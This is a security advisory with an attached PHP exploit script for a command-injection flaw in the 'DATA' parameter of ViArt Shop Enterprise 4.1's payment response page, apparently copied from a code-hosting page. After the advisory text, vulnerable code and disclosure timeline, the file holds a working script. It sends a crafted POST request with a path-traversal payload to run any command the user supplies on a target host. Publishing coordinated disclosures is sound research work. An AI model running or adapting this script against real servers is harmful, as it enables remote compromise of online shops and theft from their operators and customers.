123 lines
No EOL
3.2 KiB
Text
123 lines
No EOL
3.2 KiB
Text
<?php
|
|
|
|
/*
|
|
|
|
ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability
|
|
|
|
|
|
Vendor: ViArt Software
|
|
Product web page: http://www.viart.com
|
|
Affected version: 4.1, 4.0.8, 4.0.5
|
|
|
|
Summary: Viart Shop is a PHP based e-commerce suite, aiming to provide
|
|
everything you need to run a successful on-line business.
|
|
|
|
Desc: Input passed to the 'DATA' POST parameter in 'sips_response.php'
|
|
is not properly sanitised before being used to process product payment
|
|
data. This can be exploited to execute arbitrary commands via specially
|
|
crafted requests.
|
|
|
|
Condition: register_globals=On
|
|
|
|
=======================================================================
|
|
Vuln:
|
|
-----
|
|
/payments/sips_response.php:
|
|
----------------------------
|
|
|
|
16: if (isset($_POST['DATA'])) {
|
|
17:
|
|
18: $params = " message=" . $_POST['DATA'];
|
|
19: $params .= " pathfile=" . $payment_params['pathfile'];
|
|
20: exec($payment_params['path_bin_resp'] . $params, $result);
|
|
|
|
-----------------------------------------------------------------------
|
|
Fix:
|
|
----
|
|
/payments/sips_response.php:
|
|
----------------------------
|
|
|
|
5: if (!defined("VA_PRODUCT")) {
|
|
6: header ("Location: ../index.php");
|
|
7: exit;
|
|
8: }
|
|
9:
|
|
10: if (isset($_POST['DATA'])) {
|
|
11:
|
|
12: $params = " message=" . $_POST['DATA'];
|
|
13: $params .= " pathfile=" . $payment_params['pathfile'];
|
|
14: exec($payment_params['path_bin_resp'] . $params, $result);
|
|
|
|
=======================================================================
|
|
|
|
|
|
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
|
|
Apache 2.4.2 (Win32)
|
|
PHP 5.4.4
|
|
MySQL 5.5.25a
|
|
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
liquidworm gmail com
|
|
Zero Science Lab - http://www.zeroscience.mk
|
|
|
|
|
|
Vendor status:
|
|
|
|
[09.09.2012] Vulnerability discovered.
|
|
[24.09.2012] Contact with the vendor.
|
|
[24.09.2012] Vendor responds asking more details.
|
|
[24.09.2012] Sent detailed information to the vendor.
|
|
[25.09.2012] Vendor confirms the vulnerability, issuing patch (http://www.viart.com/downloads/sips_response.zip).
|
|
[25.09.2012] Coordinated public security advisory released.
|
|
|
|
|
|
Advisory ID: ZSL-2012-5109
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5109.php
|
|
|
|
Vendor: http://www.viart.com/downloads/viart_shop-4.1.zip
|
|
|
|
|
|
09.09.2012
|
|
|
|
*/
|
|
|
|
|
|
error_reporting(0);
|
|
|
|
print "\n-----------------------------------------------------------";
|
|
print "\n\n ViArt Shop Enterprise 4.1 Remote Command Execution\n\n";
|
|
print "\t\tID: ZSL-2012-5109\n\n";
|
|
print "-----------------------------------------------------------\n";
|
|
|
|
if ($argc < 2)
|
|
{
|
|
print "\n\n\x20[*] Usage: php $argv[0] <host> <cmd>\n\n";
|
|
print "\x20[*] Example: php $argv[0] localhost windows%2Fsystem32%2Fcalc.exe\n\n";
|
|
die();
|
|
}
|
|
|
|
$host = $argv[1];
|
|
$cmd = $argv[2];
|
|
$sock = fsockopen($host,80);
|
|
|
|
$post = "DATA=..%2F..%2F..%2F..%2F..%2F{$cmd}";
|
|
$duz = strlen($post);
|
|
|
|
$data = "POST http://{$host}/payments/sips_response.php HTTP/1.1\r\n".
|
|
"Host: {$host}\r\n".
|
|
"User-Agent: Mozilla/5.0\r\n".
|
|
"Content-Type: application/x-www-form-urlencoded\r\n".
|
|
"Accept-Encoding: gzip,deflate\r\n".
|
|
"Content-Length: {$duz}\r\n\r\n{$post}\r\n\r\n";
|
|
|
|
fputs($sock,$data);
|
|
while(!feof($sock))
|
|
{
|
|
$html .= fgets($sock);
|
|
}
|
|
fclose($sock);
|
|
echo "\n" . $html;
|
|
|
|
?> |